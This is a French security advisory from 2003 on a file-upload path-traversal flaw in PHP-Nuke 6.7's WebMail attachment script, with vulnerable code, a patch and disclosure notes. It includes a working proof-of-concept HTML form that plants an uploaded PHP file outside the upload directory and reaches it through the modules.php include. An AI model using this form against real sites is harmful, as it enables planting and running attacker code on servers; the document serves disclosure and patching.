PHP-Nuke 6.7
************
Informations :
°°°°°°°°°°°°°°
Langage : PHP
Version : 6.7
Website : http://www.php-nuke.org
Problème : Upload de fichiers
Developpement :
°°°°°°°°°°°°°°°
Dans l'adviso de Lorenzo Hernandez Garcia-Hierro sur BugTraq (http://www.securityfocus.com/archive/1/313583), on voit
deux possibilités d'utiliser la fonction copy() du fichier modules/WebMail/mailattach.php. Le code a été changé
pour boucher ces deux failles, ce qui donne le code :
-----------------------------------------------------------------------------------------------------------------------------
modules/WebMail/mailattach.php
if (isset($userfile) AND $userfile != "none" AND !ereg("/", $userfile) AND !ereg("\.\.", $userfile) AND !ereg("%", $userfile)) {
if (ini_get(file_uploads) AND $attachments == 1) {
$updir = "tmp";
@copy($userfile, "$updir/$userfile_name");
@unlink($userfile);
}
}
-----------------------------------------------------------------------------------------------------------------------------
Les différentes conditions fixées sont les suivantes :
- $userfile ne doit pas être vide
- $userfile ne doit pas contenir de caractère /
- $userfile ne doit pas contenir de caractères ..
- $userfile ne doit pas contenir de caractère %
- file_uploads doit être sur ON dans le php.ini
- $attachments doit valoir 1
Aucune vérification n'est faites sur la variable $userfile_name, qui est le nom du fichier.
Les fichiers sont normalements copiés dans /modules/WebMail/tmp/. Mais maintenant, on peut définir le path et le nom
du nouveau fichier, qui vient de notre ordinateur.
En effet si on utilise par exemple le formulaire :
-----------------------------------------------------------------------------------------------------------------------------
<form action="http://[target]/modules/WebMail/mailattach.php?userfile_name=../../AvantGo/language/bad.php" method="POST" ENCTYPE="multipart/form-data">
<input type="hidden" name="attachments" value="1">
<input type="file" name="userfile"><br>
<input type="submit" name="Send File>
</form>
-----------------------------------------------------------------------------------------------------------------------------
et qu'on upload le fichier "c:\test.txt", il sera expédié à l'url :
http://[target]/modules/AvantGo/language/bad.php.
J'ai choisi ce chemins car de cette façon, même s'il y a des .htaccess interdisant l'accès à ce dossier, on peut y accèder
grâce à l'url http://[target]/modules.php?name=AvantGo&file=langague/bad car on y voit le code :
---------------------------------------------------------------
$modpath .= "modules/$name/$file.php";
if (file_exists($modpath)) {
include($modpath);
} else {
die ("Sorry, such file doesn't exist...");
}
---------------------------------------------------------------
Solution :
°°°°°°°°°°
Un patch est disponible sur http://www.phpsecure.info, ainsi que pour la version FR, également buggée.
Il suffit de mettre, dans le fichier /modules/WebMail/mailattach.php, juste après la ligne :
-----------------------------------------------------------------------------------------------------------------------------
if (isset($userfile) AND $userfile != "none" AND !ereg("/", $userfile) AND !ereg("\.\.", $userfile) AND !ereg("%", $userfile)) {
-----------------------------------------------------------------------------------------------------------------------------
les lignes :
-------------------------------------------
if (isset($_REQUEST["userfile_name"])){
die("Don\'t do it :)");
}
-------------------------------------------
L'auteur a été prévenu il y a plus d'un mois, mais n'a pas réagit.
Credits :
°°°°°°°°°
Auteur : frog-m@n
E-mail : leseulfrog@hotmail.com
Website : http://www.phpsecure.info
Date : 15/09/03
Copyright frog-m@n
http://www.phpsecure.info/v2/zone/pArticle